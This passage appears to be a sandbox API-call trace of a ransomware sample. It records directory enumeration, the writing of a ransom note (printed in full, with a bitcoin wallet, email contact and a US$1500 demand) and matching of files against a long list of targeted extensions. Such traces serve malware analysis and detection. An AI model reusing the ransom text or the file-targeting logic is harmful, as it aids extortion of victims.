ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f0f10d0591d11a36ee2aa8ee2fbdb2bf", cAlternateFileName="F0F10D~1")) returned 0 [0107.018] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.018] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3a252e2, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf3a252e2, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf3a252e2, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Xml", cAlternateFileName="")) returned 1 [0107.019] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.019] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Xml" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml" [0107.019] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml") returned 57 [0107.019] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3a252e2, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf3a252e2, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf3a252e2, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.020] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3a252e2, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf3a252e2, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf3a252e2, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.020] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3a252e2, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf3a252e2, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf3a252e2, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="461d3b6b3f43e6fbe6c897d5936e17e4", cAlternateFileName="461D3B~1")) returned 1 [0107.020] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\*.*") returned="*.*" [0107.020] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\", lpString2="461d3b6b3f43e6fbe6c897d5936e17e4" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4" [0107.020] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4") returned 90 [0107.020] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3a252e2, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf3a252e2, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf3a252e2, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.021] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3a252e2, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf3a252e2, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf3a252e2, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.021] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf38360ff, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf38360ff, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf3940aa1, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x533600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Xml.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0107.021] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.021] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.ni.dll") returned -1 [0107.021] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.ni.dll") returned -1 [0107.021] lstrcmpiA (lpString1="", lpString2="System.Xml.ni.dll") returned -1 [0107.021] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\*.*") returned="*.*" [0107.021] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\" [0107.021] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\") returned="" [0107.021] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\HOW TO DECRYPT FILES.txt" [0107.021] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\how to decrypt files.txt")) returned 0xffffffff [0107.021] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.022] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0107.023] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0107.025] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.025] CloseHandle (hObject=0x90) returned 1 [0107.025] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\", lpString2="System.Xml.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" [0107.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.ems") returned 0 [0107.025] lstrlenA (lpString="*.ems") returned 5 [0107.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.db") returned 0 [0107.025] lstrlenA (lpString="*.db") returned 4 [0107.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.dbf") returned 0 [0107.025] lstrlenA (lpString="*.dbf") returned 5 [0107.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.myox") returned 0 [0107.026] lstrlenA (lpString="*.myox") returned 6 [0107.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.myo") returned 0 [0107.026] lstrlenA (lpString="*.myo") returned 5 [0107.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.qbw") returned 0 [0107.026] lstrlenA (lpString="*.qbw") returned 5 [0107.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.qbb") returned 0 [0107.026] lstrlenA (lpString="*.qbb") returned 5 [0107.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.qbm") returned 0 [0107.026] lstrlenA (lpString="*.qbm") returned 5 [0107.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.qbo") returned 0 [0107.026] lstrlenA (lpString="*.qbo") returned 5 [0107.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.qbx") returned 0 [0107.026] lstrlenA (lpString="*.qbx") returned 5 [0107.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.qba") returned 0 [0107.026] lstrlenA (lpString="*.qba") returned 5 [0107.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.qby") returned 0 [0107.026] lstrlenA (lpString="*.qby") returned 5 [0107.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.qbj") returned 0 [0107.027] lstrlenA (lpString="*.qbj") returned 5 [0107.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.ofx") returned 0 [0107.027] lstrlenA (lpString="*.ofx") returned 5 [0107.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.qif") returned 0 [0107.027] lstrlenA (lpString="*.qif") returned 5 [0107.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.mye") returned 0 [0107.027] lstrlenA (lpString="*.mye") returned 5 [0107.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.mbox") returned 0 [0107.027] lstrlenA (lpString="*.mbox") returned 6 [0107.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.eml") returned 0 [0107.027] lstrlenA (lpString="*.eml") returned 5 [0107.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.pst") returned 0 [0107.027] lstrlenA (lpString="*.pst") returned 5 [0107.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.ost") returned 0 [0107.027] lstrlenA (lpString="*.ost") returned 5 [0107.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.idx") returned 0 [0107.027] lstrlenA (lpString="*.idx") returned 5 [0107.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.dbx") returned 0 [0107.028] lstrlenA (lpString="*.dbx") returned 5 [0107.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.sql") returned 0 [0107.028] lstrlenA (lpString="*.sql") returned 5 [0107.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.mdb") returned 0 [0107.028] lstrlenA (lpString="*.mdb") returned 5 [0107.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.fdb") returned 0 [0107.028] lstrlenA (lpString="*.fdb") returned 5 [0107.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.wab") returned 0 [0107.028] lstrlenA (lpString="*.wab") returned 5 [0107.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.dat") returned 0 [0107.028] lstrlenA (lpString="*.dat") returned 5 [0107.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.txt") returned 0 [0107.028] lstrlenA (lpString="*.txt") returned 5 [0107.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.jpeg") returned 0 [0107.029] lstrlenA (lpString="*.jpeg") returned 6 [0107.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.jpg") returned 0 [0107.029] lstrlenA (lpString="*.jpg") returned 5 [0107.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.png") returned 0 [0107.029] lstrlenA (lpString="*.png") returned 5 [0107.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.php") returned 0 [0107.029] lstrlenA (lpString="*.php") returned 5 [0107.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.cs") returned 0 [0107.029] lstrlenA (lpString="*.cs") returned 4 [0107.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.cpp") returned 0 [0107.030] lstrlenA (lpString="*.cpp") returned 5 [0107.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.rar") returned 0 [0107.030] lstrlenA (lpString="*.rar") returned 5 [0107.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.zip") returned 0 [0107.030] lstrlenA (lpString="*.zip") returned 5 [0107.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.html") returned 0 [0107.030] lstrlenA (lpString="*.html") returned 6 [0107.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.htm") returned 0 [0107.030] lstrlenA (lpString="*.htm") returned 5 [0107.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.xlsx") returned 0 [0107.030] lstrlenA (lpString="*.xlsx") returned 6 [0107.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.xls") returned 0 [0107.030] lstrlenA (lpString="*.xls") returned 5 [0107.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.mp4") returned 0 [0107.030] lstrlenA (lpString="*.mp4") returned 5 [0107.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.ppt") returned 0 [0107.030] lstrlenA (lpString="*.ppt") returned 5 [0107.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.pptx") returned 0 [0107.031] lstrlenA (lpString="*.pptx") returned 6 [0107.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.doc") returned 0 [0107.031] lstrlenA (lpString="*.doc") returned 5 [0107.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.dot") returned 0 [0107.031] lstrlenA (lpString="*.dot") returned 5 [0107.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.docx") returned 0 [0107.031] lstrlenA (lpString="*.docx") returned 6 [0107.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.7z") returned 0 [0107.031] lstrlenA (lpString="*.7z") returned 4 [0107.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.tar") returned 0 [0107.031] lstrlenA (lpString="*.tar") returned 5 [0107.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.bz2") returned 0 [0107.031] lstrlenA (lpString="*.bz2") returned 5 [0107.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.gz") returned 0 [0107.032] lstrlenA (lpString="*.gz") returned 4 [0107.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.mkv") returned 0 [0107.032] lstrlenA (lpString="*.mkv") returned 5 [0107.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.eml") returned 0 [0107.032] lstrlenA (lpString="*.eml") returned 5 [0107.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.msg") returned 0 [0107.032] lstrlenA (lpString="*.msg") returned 5 [0107.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.edb") returned 0 [0107.032] lstrlenA (lpString="*.edb") returned 5 [0107.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.accdb") returned 0 [0107.032] lstrlenA (lpString="*.accdb") returned 7 [0107.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.odb") returned 0 [0107.032] lstrlenA (lpString="*.odb") returned 5 [0107.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.java") returned 0 [0107.032] lstrlenA (lpString="*.java") returned 6 [0107.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.asm") returned 0 [0107.032] lstrlenA (lpString="*.asm") returned 5 [0107.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.pfx") returned 0 [0107.033] lstrlenA (lpString="*.pfx") returned 5 [0107.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.pem") returned 0 [0107.033] lstrlenA (lpString="*.pem") returned 5 [0107.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.p12") returned 0 [0107.033] lstrlenA (lpString="*.p12") returned 5 [0107.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.gpg") returned 0 [0107.033] lstrlenA (lpString="*.gpg") returned 5 [0107.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.vsd") returned 0 [0107.033] lstrlenA (lpString="*.vsd") returned 5 [0107.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.odg") returned 0 [0107.033] lstrlenA (lpString="*.odg") returned 5 [0107.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.raw") returned 0 [0107.033] lstrlenA (lpString="*.raw") returned 5 [0107.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.nef") returned 0 [0107.033] lstrlenA (lpString="*.nef") returned 5 [0107.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.svg") returned 0 [0107.033] lstrlenA 